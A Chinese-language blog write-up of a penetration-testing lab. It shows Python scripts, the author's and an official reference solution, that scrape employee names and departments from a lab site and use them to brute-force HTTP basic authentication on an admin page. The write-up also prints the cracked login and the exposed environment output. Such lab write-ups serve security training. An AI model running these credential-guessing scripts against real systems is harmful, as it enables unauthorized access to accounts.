Python辅助开发

Posted by r3kind1e on October 26, 2021

Python辅助开发

设想

使用您新获得的 Python 知识,创建一个程序,该程序将从网页中收集关键字并使用它们对暴露的管理区域执行暴力攻击。

目标

本实验室的目标是:

  • 使用 Python 从网页中收集姓名和部门
  • 将这些名称提供给基于 Python 的暴力破解机制,这将帮助您获得对管理区域的访问权限

你会学到什么

在本实验中,您将了解:

  • 使用 Python 进行网页抓取
  • Python Requests 和 BeautifulSoup 模块的基本用法
  • 用 Python 编写一个简单的暴力破解脚本

参考

get started with Requests.

Beautiful Soup 4.4.0 文档

任务 1:连接到虚拟环境并浏览网页

实验室的范围是172.16.120.0/24。

使用提供的 VPN 文件连接到虚拟环境。然后,导航到http://172.16.120.120并通过它来识别任何功能。

任务 2:用 Python 开发一个暴力破解脚本,该脚本将使用员工详细信息作为凭据

员工姓名被用作用户名的情况并不少见。看到员工的部门被用作密码的情况并不少见。公司网站通常包含这些信息。

手动收集此类信息可能是一个乏味的过程。因此,使用 Python 收集它们(抓取它们)并创建一个暴力破解脚本,该脚本将使用收集到的信息作为凭据。对管理区域使用暴力破解脚本。

在此任务中,您应该:

  • 使用 Python 的“requests”库
  • 使用 Python 的“beautifulsoup”库
  • 注意基本的认证机制

我写的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from bs4 import BeautifulSoup


def getContent(tag_list):
    li = []
    for element in tag_list:
        element = element.get_text()
        li.append(element)
    return li


r = requests.get('http://172.16.120.120')
html_doc = r.text
soup = BeautifulSoup(html_doc, 'html.parser')
names = soup.find_all(id="name")
names = getContent(names)
uniqnames = sorted(set(names))
departments = soup.find_all(id="department")
departments = getContent(departments)
uniqdepartments = sorted(set(departments))
for name in uniqnames:
    for department in uniqdepartments:
        a = requests.get('http://172.16.120.120/admin.php', auth=(name, department))
        if a.status_code == requests.codes.ok:
            print("Find username '{}' and password '{}' login in successfully.".format(name, department))

参考:Python请求库如何使用单个令牌传递授权标头

运行结果:

1
Find username 'Zack' and password 'Management' login in successfully.

使用得到的账号密码登录管理员后台:172.16.120.120/admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Hi Admin! Welcome back.

APACHE_LOCK_DIR='/var/lock/apache2'
APACHE_LOG_DIR='/var/log/apache2'
APACHE_PID_FILE='/var/run/apache2/apache2.pid'
APACHE_RUN_DIR='/var/run/apache2'
APACHE_RUN_GROUP='www-data'
APACHE_RUN_USER='www-data'
IFS=' 	
'
LANG='C'
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='1591'
PS1='$ '
PS2='> '
PS4='+ '
PWD='/var/www/html'

官方参考答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
from bs4 import BeautifulSoup as bs4


def downloadPage(url):
    r = requests.get(url)
    response = r.content
    return response


def findNames(response):
    parser = bs4(response, 'html.parser')
    names = parser.find_all('td', id='name')
    output = [] # initialize a list named "output"
    for name in names:
        output.append(name.text)
    return output


def findDepts(response):
    parser = bs4(response, 'html.parser')
    names = parser.find_all('td', id='department')
    output = []
    for name in names:
        output.append(name.text)
    return output


def getAuthorized(url, username, password):
    r = requests.get(url, auth=(username, password))
    if str(r.status_code) != '401':
        print("\n[!] Username: " + username + " Password: " + password + " Code: " + str(r.status_code) + "\n")


page = downloadPage("http://172.16.120.120")

names = findNames(page)
uniqNames = sorted(set(names))

depts = findDepts(page)
uniqDepts = sorted(set(depts))

print("[+] Working... ")
for name in uniqNames:
    for dept in uniqDepts:
        getAuthorized("http://172.16.120.120/admin.php", name, dept)